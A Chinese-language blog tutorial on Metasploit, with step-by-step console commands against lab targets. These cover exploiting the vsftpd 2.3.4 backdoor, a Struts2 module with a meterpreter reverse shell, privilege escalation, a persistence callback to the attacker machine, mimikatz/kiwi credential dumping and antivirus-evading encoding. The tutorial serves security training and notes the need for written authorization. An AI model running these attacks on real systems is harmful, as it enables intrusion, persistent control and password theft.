Metasploit渗透测试实战指南:从基础操作到攻防场景落地

先搞懂Metasploit的核心逻辑:别做“按钮选手”

很多人用Metasploit只知道“search→use→set→run”,但没搞懂背后的模块逻辑——这会导致遇到问题就卡壳。Metasploit的核心是“模块+参数+ payload”的组合:
Exploits(漏洞利用模块):针对具体漏洞的攻击程序,比如vsftpd 2.3.4的后门漏洞模块;
Payloads(攻击载荷):漏洞利用成功后执行的代码,比如获取shell的meterpreter;
Auxiliary(辅助模块):不直接攻击,用于扫描、枚举、嗅探(比如扫描目标开放端口);
Encoders(编码器):给payload“穿马甲”,绕过杀毒软件的特征检测;
Nops(空指令):调整payload长度,避免攻击时程序崩溃。

Metasploit渗透测试实战指南:从基础操作到攻防场景落地

用表格帮你快速记牢:

模块类型 作用 新手高频使用场景
Exploits 打穿漏洞的“子弹” 靶机漏洞利用
Payloads 拿权限的“手” 获取meterpreter shell
Auxiliary 侦察的“望远镜” 扫描目标开放端口
Encoders 躲杀毒的“隐身衣” 攻击Windows目标时用
Nops 调长度的“垫片” payload报错时用

记住:模块是“方法”,payload是“目的”——比如你要用Exploits模块打穿漏洞,再用Payloads模块拿到shell。

从安装到初始配置:踩稳第一步

Metasploit的安装分两种情况:
Kali Linux用户:自带Metasploit(版本6.x),直接用;
Windows/macOS用户:去Rapid7官网下载安装包(选“Community Edition”免费版)。

关键配置:初始化数据库

Metasploit依赖PostgreSQL数据库存储模块信息,不初始化数据库,search功能会失效
打开终端(Kali/Windows都一样),执行:

msfdb init  # 初始化数据库
msfconsole  # 启动Metasploit控制台

启动后看界面顶部——如果显示“PostgreSQL connected”,说明数据库连好了;如果没显示,重启msfconsole再试(Windows用户可能需要以管理员身份运行)。

实战场景1:靶机漏洞探测与利用(最适合新手练手)

找个Metasploitable2靶机(专门给新手练手的 vulnerable 系统),步骤如下:

  1. 第一步:侦察目标
    用Auxiliary模块扫描靶机开放端口:

    msfconsole
    use auxiliary/scanner/portscan/tcp  # 选TCP端口扫描模块
    set RHOSTS 192.168.1.10  # 靶机IP,替换成你自己的
    set PORTS 21,22,80  # 扫描常用端口(FTP、SSH、Web)
    run
    

    结果会显示靶机开放了21端口(FTP)——接下来针对FTP找漏洞。

  2. 第二步:找对应的Exploits模块
    搜索vsftpd(靶机的FTP服务)的漏洞:

    search vsftpd  # 搜索vsftpd相关模块
    

    会出来“exploit/unix/ftp/vsftpd_234_backdoor”(vsftpd 2.3.4的后门漏洞)——这是Metasploitable2的经典漏洞。

  3. 第三步:配置模块并攻击

    use exploit/unix/ftp/vsftpd_234_backdoor  # 加载模块
    set RHOSTS 192.168.1.10  # 靶机IP
    set LHOST 192.168.1.20  # 你的攻击机IP(Kali/Windows的IP)
    run  # 发起攻击
    

    如果成功,会拿到一个shell——输入whoami,会显示“root”(靶机的最高权限)!

实战场景2:Web应用漏洞的Metasploit玩法

Web应用是渗透测试的重灾区,Metasploit也能搞定——比如Apache Struts2的远程代码执行漏洞(CVE-2021-31805)

  1. 搜索模块

    search struts2 CVE-2021-31805  # 精准搜索对应CVE的模块
    

    找到“exploit/multi/http/struts2_rest_xstream”模块。

  2. 配置并攻击

    use exploit/multi/http/struts2_rest_xstream
    set RHOSTS 192.168.1.30  # Web应用的IP
    set TARGETURI /struts2-rest-showcase/  # 漏洞路径(根据目标调整)
    set PAYLOAD java/meterpreter/reverse_tcp  # 用meterpreter payload(更灵活)
    set LHOST 192.168.1.20  # 攻击机IP
    run
    

    成功的话,会拿到meterpreter shell——这比普通shell强10倍:可以提权、截屏、偷文件,甚至控制摄像头(别乱试!)。

实战场景3:后渗透阶段的权限维持

很多新手以为“拿到shell就结束了”——错!后渗透才是渗透测试的关键(模拟黑客长期控制目标)。用Metasploit的meterpreter来做:

  1. 提权:从普通用户到管理员
    拿到shell后,先看自己的权限:

    getuid  # 显示当前用户(比如“user”)
    getsystem  # 尝试提权到system(Windows)或root(Linux)
    

    如果成功,getuid会显示“NT AUTHORITYSYSTEM”(Windows最高权限)。

  2. 持久化:让目标重启后还能控制
    persistence模块做持久化(以Windows为例):

    run persistence -X -i 5 -p 4444 -r 192.168.1.20  # 配置持久化
    

    参数说明:

  3. -X:开机自动运行;
  4. -i 5:每5秒连一次攻击机;
  5. -p 4444:连接的端口;
  6. -r:攻击机IP。

  7. 偷密码:用Kiwi模块(mimikatz)
    meterpreter内置Kiwi(原mimikatz,偷密码的神器):

    load kiwi  # 加载Kiwi模块
    creds_all  # 获取所有保存的密码(包括浏览器、WiFi、系统账户)
    

避坑指南:Metasploit使用的常见误区

  1. 误区1:用默认配置连公网
    很多人直接用Metasploit攻击公网IP——这会被溯源!公网测试必须用VPN或代理,且要授权(不然违法)。

  2. 误区2:模块参数填错(比如RHOSTS和LHOST搞反)
    RHOSTS是目标IP,LHOST是你的IP——填反了肯定攻击失败!记不住就想:“R=Remote(远程目标),L=Local(本地攻击机)”。

  3. 误区3:不更新模块
    Metasploit的模块库每周都更新——用msfupdate命令更新(Kali用户要加sudo),不然找不到新漏洞的模块(比如2025年的新CVE)。

  4. 误区4:依赖默认payload
    默认payload容易被杀毒软件拦截——试试用编码器加壳:

    set ENCODER encoder/x86/shikata_ga_nai  # 用shikata_ga_nai编码器
    

最后想说:Metasploit是工具,不是“万能钥匙”

Metasploit很强,但它的效果取决于你对漏洞的理解——比如你得先知道“vsftpd 2.3.4有后门”,才能找到对应的模块。所以新手别光练工具,要补漏洞原理(比如SQL注入、XSS、RCE的底层逻辑)。

另外,合法合规是底线:渗透测试必须有甲方的书面授权,不然哪怕是练手,也可能触犯《网络安全法》。

是不是觉得比看视频教程更实在?赶紧打开Metasploitable2靶机,按上面的步骤试一遍——遇到问题评论区问我,我帮你排坑~

原创文章,作者:,如若转载,请注明出处:https://zube.cn/archives/243

(0)

相关推荐